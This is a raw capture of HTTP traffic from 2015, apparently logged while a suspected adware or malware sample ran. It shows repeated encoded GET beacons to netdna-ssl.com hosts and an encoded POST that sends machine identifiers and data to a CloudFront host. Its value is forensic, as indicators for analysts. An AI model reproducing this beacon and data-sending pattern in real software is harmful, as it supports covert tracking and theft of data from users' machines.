GET /6014.ashx?e=lOCrbsNL2zUPgAd18hbyrrtHO9L42KS//Dn8i7qp5mBrRPNUypxOtyiJpOuGuO 6ghmiZJc6KBe9Kbi6m4oCRuaF2IGt5LaLNuhx1OT2CBzNSKpf5M87qhVWaKclJYCz20qHT6WNWM5wOFP3xQuQZKH18CwqK4yKLhu0b45kiT/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YPQYtVwkpxW0sTQfYT78rW6o JhFVUwrL/KKMB ON7 S1TM8xmV4vn5a7srxy/100X021585MfhSh3bXYBh5GayOJOBpub70rJc AisIqa2cEZYilUQSg pDi6oWHPptyE= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=lOCrbsNL2zUPgAd18hbyrrtHO9L42KS//Dn8i7qp5mBrRPNUypxOtyiJpOuGuO 6ghmiZJc6KBe9Kbi6m4oCRuaF2IGt5LaLNuhx1OT2CBzNSKpf5M87qhVWaKclJYCz20qHT6WNWM5wOFP3xQuQZKH18CwqK4yKLhu0b45kiT8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPtruJ2zeNP9BRjldEvIPSqUX6ABQ4xl C6XAmRABUbmSYRA5W RLpwIoLj8WN7CI8VJWpTUhdoetbAQhJgQ701LudQlG124a8hFOTAwlw8YF3s7wI xkmMOKxl3uarw9oj/6htcsbgMiQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=hpY1rXLYst7AE3Cc4HiKo5HpRh6CcB5JZBIfqUy0pZUgzQKqaxF9u5Q42ZgYGEkGrf8A39sXauhF1v9LxgoeQ9yvhlGeipNVHwPZLeuLi7kwuh7NwcZfEJwLKVaYVeB7vsZEhw6jJ2FR0Y8PVvZCzgxgaje0jn0rXJ5LZSvWUluPQ3tun/RC1CIPE9Fjijm6lH3RqcN51IKJezegqBUwuVepqsAdv2lkLkxhdnC/RJrb4ZR 6izXtqnDUZD3eCjLyi7SKmc/IBwLgrSkZSFaNnd/rihenux9DwqPoy7y/e9FgAYD7IlOOXNxLeutw3wYcjNqP4wx1WmV2RjacPvRNQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Fri, 11 Sep 2015 03:10:41 GMT..Content-Length: 0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..
GET /wu.ashx?dsid=1&s=F8VzSMTDK0,99999999-9999-46a2-b7a0-a6b4c690ad39,&v=2.1.9.476&mid=A0A7AiA9A7AAA1AiA7ieA1A91J7L773DiLAiiAA13D1J&usetmd5=&bmd5=&hpp=1&spp=1&ntp=1&ubrand=sc HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0)
Host: pwvz71qp-ur1xo6pn.netdna-ssl.com
Pragma: no-cache
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2116
Connection: close
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
nsdNk3OdRwki7WO0x/PmV0594A8m9otCPqcFB2rn2bQtozysWO/mtn9x7lgKws0xzJ3D9RZ Zpnv6InBvcDvPDoPI9p7ES6f8sgEOed4 fCQBIjZCvTXrggwdXTj29oPrRu76Y5WpKZVuyjVtcQurVrobtOssU1ULu6KrLbTTpaPLnoVP wV/K qytSAIPnSAeKkAABrjdoe0zZrVlpiR8RNou3s5pJ2LhgnQpSct/hreuNop9rIiz4HbKbNzhD7xL5u9TFpljcocapO8mCMlyjmlj3CEZdL6rLoJl/kHlC1HiSCAS2w46US18MEbIB7NbNqUefR7VwX3nMXV TWpgLnIb1DFj1TXiHs1kpVKyLqqdzSgy ofIPwrpfMQaM270oKlLAF2Ev Fl dJSEamzygkO2VA1h7aeMMcPVVF/W5oHlrh76c1cNtGPqmf6n5DmqJLA2H5 mD47PYw1iH6liUlSQf3cmX1NCvdn6MOEczqvrGxHPr /xsGeyLYJ5fAvdnL fE68NvMIkJAAlB9vzSjGXaLBlvVW6rvVd9XfZ9 WtB26FVOeUNUwbzNAXdfRnvqY9sJRU4Q5nJsQOkB4EqLSu3azcxDTPKpj7G jAqJuRDspgkIx9i ZdsomgNO/Qm Cibkyy08C84d2HeWOK6F8TUW1VvlikTUKRjm5DiFMGQczicJbjPUi0modPmo7EVz7pr rjhwu9m q/ wyPIJYaXo0gj46UXxupFrSw4WG3Bfg39mnHDitZevDHCIn36N/R8/7v01vPe WvyQe2MAeXujNT577jXF3Z44uzh8i453bC6b42GQxfKzzAmb1tnDp0bDFdmvThHfY4im x6tTb3elmhDM8rTn1YpZW616jlWUcRh9NyTOJv g7hMjVkB4/lnmKRe9nG6RVWX5FeqsaElJMkssrN8Red9Ju3gi38Qiae3iFG4LOZAh8Xy4JXwTtt7qqTcXH4TyxKy7rclPFPxVJfV7sGsmaUf9wy9LDKQF3LVCdGDWIGNYh9ZN/onmrGGKRA17iE6oITY0U0WFP4g/k6TkhfMBZcni0QzUwHiA9gWVPlrnMYCZShSu7SpV3W4TglNgCP82V HVln6fh9dyGPfwfHbZTKjsHsy716YY3Usxp8ku1BbjSsNn8yvgsom5Rjf8yz0OaYjzVnpBBdBRt4fs FJMcGpFtJXe/FfGog4Ra2erDFl8QwHOTBWBKpK Szg0dsGrYYeJsCb3CBGAdozcRHoudk3rKCsS6ivAlo3uUfdtpijVbml8B94UQTmTGHxamNibCcN0IH235QdmT 1RDHyeSr3 87thl9YplZCVXkOanM2G3UIsqS510GHMiI1rY9NJxPVpIB1xi7GYs5MHAvxNA52Z8oGA g3BL7NZomLMYdGN2XDBdqRz5JVN8Prgx 3uwIU7I A4wt8hjAA1kX6aFugcDCzeoZw3Iqwwx9X2k4PWyWY5YDe9DP8SPFhwBebxjwEHYuXhPHE3MhBMrHW5BE0CDuvHRs1MdOFx5aUXQ8UXPO
<<< skipped >>>
GET /26238.ashx?e=jJl6mEdycnTwRSjHOffQCFAsqf2wNU2f/lCDRYG1zoogLxC0aXqYrahr7 bKoa6AuvWIWLeWr wQHPLKTAZk7e K9V0GRRESCeQCV5QcxbtPZPHJIIJ7tLPiCC4paVhd2Pbk/9NONlMwdHiAKz3nHY2ac9bD3MadSN58qZygCScEpVXMQzDInewhsAaqZyLDLLNMXZjRZW4= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:38 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /26238.ashx?e=Ka qOJkckoXHjWHokC5IQK5B7OIbkEBGnvZi s3jtzHZ5YIGg5oNPurVyaMS1AoBVcsZgjOTLBgN7Tkzw2UYeIBGm42Ndaaej0N7bp/0QtQ1G SrHc cvhQC drCF7eFQ YL/6iHOTijPnnb7QJKk0 ozBx6XehYjZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsMss0xdmNFlbg== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:38 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /26238.ashx?e=CwD9X8OFGaKR6UYegnAeSXeOKM0B8ID5IM0CqmsRfbtxTYwWxYG9WEEY41XBMtFkXKxlIGlYnfUTHEHAGyjM2RoVOXLTxMppDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3BQ8MIYMfS0tAjghhbsGXAob/z4gt3huKFFb4kQKLOKLSjoKcRHF JoXwql6nKegU HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:38 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /26238.ashx?e=lOCrbsNL2zUPgAd18hbyrmlzDgGWgrXS/Dn8i7qp5mBrRPNUypxOtyiJpOuGuO 6ghmiZJc6KBe9Kbi6m4oCRuaF2IGt5LaLNuhx1OT2CBzNSKpf5M87qhVWaKclJYCz20qHT6WNWM5wOFP3xQuQZCqFnoRg45ZcrXIxNf6X/p8jq1U t1gQfOJGi8wh2qItjgb6v7cXpPvVs 1hpnKPWNckWery5nY61wQMeOGfVSoklpIg/vGiFhQGw7w7bWmjz7d9KaLD84/d0InrHGn4CTEJJ99zQJTqVYgO0yHAHEsYAqi 8bJ4kL0puLqbigJG5oXYga3ktos26HHU5PYIHM1Iql/kzzuqyrBnDEBfh98= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:38 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Fri, 11 Sep 2015 03:10:38 GMT..Content-Length: 0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS......
GET /26238.ashx?e=2fVCHF6kf8i8qFEAMB5m TvdYM1ENABOnvZi s3jtzGcl1mVNAzAtk9nl361I435LntfO9v5CwenNguChnjFYzjAYXbQHMj2q9aQy5yYWKGap4OAK51dqCcbb3E jHNsqGvv5sqhroC69YhYt5av7BAc8spMBmTtMydwrVDP9I1d4VqhSAhk2COVVvHCTb5Jjgb6v7cXpPsKZRPAPacI1rdMx1QajaG48NVcbx dWxSReJECB10wJoxWgtYjek0xghq6RzWLsFaV2a3pWCTy1K5oVP3GqZY3pzYLgoZ4xWM4wGF20BzI9qvWkMucmFihmqeDgCudXagJ8/3qJKGNSw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:39 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Fri, 11 Sep 2015 03:10:39 GMT..Content-Length: 0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..
POST /br.ashx?pid={PID}&aid={AID}&ss=0&s=F8VzSMTDK0,99999999-9999-46a2-b7a0-a6b4c690ad39,&v=2.1.9.476&md5=770da9fccdbb44323d6993ad4d2fb18f&mid=A0A7AiA9A7AAA1AiA7ieA1A91J7L773DiLAiiAA13D1J&uid=DAF10D0E-26DD-4DF3-84E9-AA519AA0779F HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0)
Host: d23ocewf5ttxmu.cloudfront.net
Content-Length: 2314
Connection: Keep-Alive
Cache-Control: no-cache
d=noFdkfdcv3Yi7X/eGKOdMF7z0MnsdbqbsSyODdSY/DIbViXK5jhj4dr20FyJLtgsX9P3IJ3OzCe4yA1281K3TK/sY6OmonURwbM7KzVpqDNsenWyv5MJMpSBXHqlm4gd4ahW/Hk9mbu1vDysH oiTbn/SjIOX9eBcUnfEKbUfldKI/UtnY3uio58A3LPU/01yk tNLAJNB4Cs6tM0ysNPFIgdgTJvl3hMn2LN5ZMxVp17p7eV5iCxnxGJMyD7CNv9BzfbD/elCnpOgWUq2ppd89VN9tpoxEdVaTilu5tIY3pHKc75bskWKjfoL3YEA0j8GZO81EOUpDdc8UjXwFSdirS9cbTwEgCAK6XflhJSU8woQTsP5YIYANA46SKwUsQtiwSzrSroUlnfq1QxJ gwk/iUuUm06LVyrnlhLnG7dR/1hm5WzHuRAaB8Ch3EjkcGJ2Z0Co9b jNvK052fEFapX0Nac96SowrrcpDDou6RqcMTI3jQK9CDhaMLJQy1xbfJV5wbIZ1NqBz g/f0zzxz2/2zDj0jo9dDzDygaAm9g143A8QfzVc/l7ysgTz3sOxTFkwKL8mMe9b2OPxavqPmTve6T3eCe1A48YnDMGtXUfxilUSeSvZKPGbiJ2jHVV3WbZUsPCp8/PXy8EqNMEnmLaTi53hEMz7sZTIeKBJlTZzN4hiBaDNgH45XlOh/EAu6R8F0dQ0CzwYe6wFLXA8CJT1d7kg/FuGsCKMJfhim0fjU9qhlzPcoZxeqq/cgxvWXVEGXDlFTnLgsRZbS4fEODoltEsUZiZXWN6NFNKjPrbKrk1spkG5exBmoq YCBEoW/Jobsd7jdcSY7s9CsH1Qrt75d5QiHBb0aWYFuLOzkTamE1UmmAPqwxd87NEmXrct2vqYhOj/Cen/XJUrrmI6oHReeZIcblU1yFRO69E1XxYDu5ReBSqbNjSi9I6gwvLyNp19OpTnbrbSxQyDrvIYqjknW0j0yKETgJ0t2GG5kCIlBxSbNC1vmDWimzuoY5WoWvuYW ljsAhd dJ54hepf0QqfnGcv0BaqQ2l3qYu41woY4
HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:12:23 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: o0ItpuQv6fU057OAwTvCLvnbQipygCYBRTfBRlMBMtSL5DSlwP3ERQ==
GET /6014.ashx?e=aQQpsP6/AW07SHxFqnYavFX1BigItLW6EhGH33nPGlEeaFNcfNJ0Dj3LO2i4hwoZp2RYIisGWDtlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkjVAWEERd KPQRjjVcEy0WRcrGUgaVid9Wn64QMxRqlk1qg9mP3gfJPRBRa93/wJ4K5g1UaeibIFKYX3Ti/i3YNSfnOwL00n5Z1 bwt5t6kul7 MWoTgv1cPg3JQuiDood/dJkCtxgij8NVcbx dWxSReJECB10wJoxWgtYjek0xghq6RzWLsFaV2a3pWCTy1K5oVP3GqZY3pzYLgoZ4xWM4wGF20BzI9qvWkMucmFihmqeDgCudXagJ8/3qJKGNSw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:39 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=aQQpsP6/AW07SHxFqnYavFX1BigItLW6EhGH33nPGlEeaFNcfNJ0Dj3LO2i4hwoZp2RYIisGWDtlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkjVAWEERd KPQRjjVcEy0WRcrGUgaVid9Wn64QMxRqlk1qg9mP3gfJOtK2nLIJE3nHvKbjUyzCCcFAL52sIXt4WJJdSgnf3DEaNti66QtAKhfA9DmA/gYOYuTGF2cL9EmtvhlH7qLNe2qcNRkPd4KMvKLtIqZz8gHAuCtKRlIVo2d3 uKF6e7H0PCo jLvL970WABgPsiU45c3Et663DfBhyM2o/jDHVaZXZGNpw 9E1 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:39 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=aQQpsP6/AW07SHxFqnYavFX1BigItLW6EhGH33nPGlEeaFNcfNJ0Dj3LO2i4hwoZp2RYIisGWDtlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkjVAWEERd KPQRjjVcEy0WRcrGUgaVid9Wn64QMxRqlk1qg9mP3gfJPciXFAHp4HlNvmf3gdPUqQs IILilpWF3zNK4whhQy VWepW98S4qUX6ABQ4xl C6XAmRABUbmSYRA5W RLpwIoLj8WN7CI8VJWpTUhdoetbAQhJgQ701LudQlG124a8hFOTAwlw8YF3s7wI xkmMOKxl3uarw9oj/6htcsbgMiQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:39 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=aQQpsP6/AW07SHxFqnYavFX1BigItLW6EhGH33nPGlEeaFNcfNJ0Dj3LO2i4hwoZp2RYIisGWDtlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkjVAWEERd KPQRjjVcEy0WRcrGUgaVid9Wn64QMxRqlk1qg9mP3gfJNY6asKhjK XQTxIUcsgQ wK6VqR 9CeB47nSguBlE3YrKdy8/8CPwtjZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsOpo/lEjpeAlBzFcuANGYcs6QVPVP6/3bDcr4ZRnoqTVR8D2S3ri4u5MLoezcHGXxADla0RkIIBQQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:39 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=aQQpsP6/AW07SHxFqnYavFX1BigItLW6EhGH33nPGlEeaFNcfNJ0Dj3LO2i4hwoZp2RYIisGWDtlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkjVAWEERd KPQRjjVcEy0WRcrGUgaVid9Wn64QMxRqlk1qg9mP3gfJOa2dF0VKZsa0uea6nUoHK BPEhRyyBD7BTCOi9rCpKyVqjeNR02gJKC0YRa 0ezOVDi1wa3hqDG2WFhcsGC8aBZTc4hllCSQi9Kbi6m4oCRuaF2IGt5LaLNuhx1OT2CBzNSKpf5M87qpOVOVf25zXC8NVcbx dWxSReJECB10wJoxWgtYjek0xghq6RzWLsFaV2a3pWCTy1K5oVP3GqZY3pzYLgoZ4xWM4wGF20BzI9qvWkMucmFihmqeDgCudXagJ8/3qJKGNSw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:39 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=aQQpsP6/AW07SHxFqnYavFX1BigItLW6EhGH33nPGlEeaFNcfNJ0Dj3LO2i4hwoZp2RYIisGWDtlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkjVAWEERd KPQRjjVcEy0WRcrGUgaVid9Wn64QMxRqlk1qg9mP3gfJOtK2nLIJE3nATxIUcsgQ witsIrAYx7ljhVOZjHwNmMDyjESsfx8vmmA9cYundBgRv3w3Jj7cm/ gp01/jAfMwbSGNlrViJV74d 8wlC3ACe dC6ehZq jU7zGYxFVZk5vuPkkDKInkPC8afBy6IKMEefda087tOQ TnksFA3b2toTYm7KkeYVZVK84c2M0acWGJc DG655UWy56Ht7bkdXyARKqx70pIbZMiNu2WOVQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:40 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=eFCD8T/coiezrE/yDXLQyamA//h2Ax0vvUVDC2B7r8vCigHpURgZK3sc7hbJtTJH20qHT6WNWM5wOFP3xQuQZKH18CwqK4yKLhu0b45kiT YRPInKLFMVV2fkhc dP37s IILilpWF1xRtfXdpb/xyd4ih71AVQYFHFc1SvVb9bGt42CiaU8lehEG/IsqN6RHiPVU04Syd3VriGmTNcWt3aaueJoME2rxilWTRJFttsHtiPtCQEFSMTQfYT78rW6o JhFVUwrL/KKMB ON7 S1TM8xmV4vn5emS9jXjFgnw= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:40 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=aQQpsP6/AW07SHxFqnYavFX1BigItLW6EhGH33nPGlEeaFNcfNJ0Dj3LO2i4hwoZp2RYIisGWDtlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkjVAWEERd KPQRjjVcEy0WRcrGUgaVid9Wn64QMxRqlk1qg9mP3gfJPjBH6ZzUnnXsmxw368usKjGzyp8r50/oAU8yRr4Ty3tJQ0RsuXcXVuLkxhdnC/RJrb4ZR 6izXtqnDUZD3eCjLyi7SKmc/IBwLgrSkZSFaNnd/rihenux9DwqPoy7y/e9FgAYD7IlOOXNxLeutw3wYcjNqP4wx1WmV2RjacPvRNQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:40 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=Feo0TQZfu6Kxt3d/voAIfBtU9JlwKHKe6z WiSD3WAOmy6t0 u4xzc/4PvVcYKfqUA7dl9owwhIeI9VTThLJ3dWuIaZM1xa3dpq54mgwTavGKVZNEkW226eW0q2HyENQ19548reO4tAZ12O/sm027XLG Dr9r1TfZSXTHO//VDUbGtOpbXm9kLogX1UihuihKYX3Ti/i3YOG9SIsJmG3UfDVXG8fnVsUkXiRAgddMCaMVoLWI3pNMYIaukc1i7BWldmt6Vgk8tSuaFT9xqmWN6c2C4KGeMVjOMBhdtAcyPar1pDLnJhYoZqng4ArnV2oCfP96iShjUs= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:40 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=KSz5qzb2KgKyCpK5vbxu3BtU9JlwKHKe6z WiSD3WAOmy6t0 u4xzc/4PvVcYKfqUA7dl9owwhIeI9VTThLJ3dWuIaZM1xa3dpq54mgwTavGKVZNEkW226eW0q2HyENQ19548reO4tAZ12O/sm027XLG Dr9r1TfZSXTHO//VDUbGtOpbXm9kCijGlLm5 Cq4lWMeatPRMJml0sRVfiY4nCH4bBtxnXccV nI/W5jMkIWZgV6flfQxXSxG/OKDrxS4LGVaKPiVazAiiOP0Dray sJcsK4Si83391JJosQmzM0xXKlavb6jUrq4wjRwDxP/o3WEtZueEbyfwGzNSBmKWdULbE5ZlqvgMwCNF4yjUOWGfBzDa40Xyyr2luwwhwbzGH6se6 9hrqG507lv5s58pgoUJZXbAuwTk78XwKOlNQ7uF4H5u2ExQ/TLJThWh2J0rTd3Qy7OCDh2Uwc4vV0COCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mOWTBRoXJJz/rKwD6t b1ZR4j1VNOEsnd1a4hpkzXFrd2mrniaDBNq8YpVk0SRbbbcIVittfBrR0= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=lOCrbsNL2zUPgAd18hbyrrtHO9L42KS//Dn8i7qp5mBrRPNUypxOtyiJpOuGuO 6ghmiZJc6KBe9Kbi6m4oCRuaF2IGt5LaLNuhx1OT2CBzNSKpf5M87qhVWaKclJYCz20qHT6WNWM5wOFP3xQuQZKH18CwqK4yKLhu0b45kiT AW1ilHO0XlqaFGmNQisoEs IILilpWF2V9PoQYImhoi5ITADj fT8LkxhdnC/RJrb4ZR 6izXtqnDUZD3eCjLyi7SKmc/IBwLgrSkZSFaNnd/rihenux9DwqPoy7y/e9FgAYD7IlOOXNxLeutw3wYcjNqP4wx1WmV2RjacPvRNQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....
GET /6014.ashx?e=6SSQJDW2873wRSjHOffQCGFYA39g/pjr/lCDRYG1zoqOcTxdoMXoDozpbjeDHyvNqJDnlUORNKJFgAYD7IlOOXNxLeutw3wYcjNqP4wx1Wnq2XFml0nsx rVyaMS1AoBVcsZgjOTLBg2iSiu2ECUvh8z3rWDQNtM1QHs3X92ilHJn1GegIILyOsrHZsRsIfMRhg0WUsz0XnWj 0aUQSgjqbIqUaqox6UWuOmJx8luGOuREaaGKZHh0COCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mOWTBRoXJJz/rKwD6t b1ZR4j1VNOEsnd1a4hpkzXFrd2mrniaDBNq8YpVk0SRbbbcIVittfBrR0= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Fri, 11 Sep 2015 03:10:41 GMT..Content-Length: 0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS......
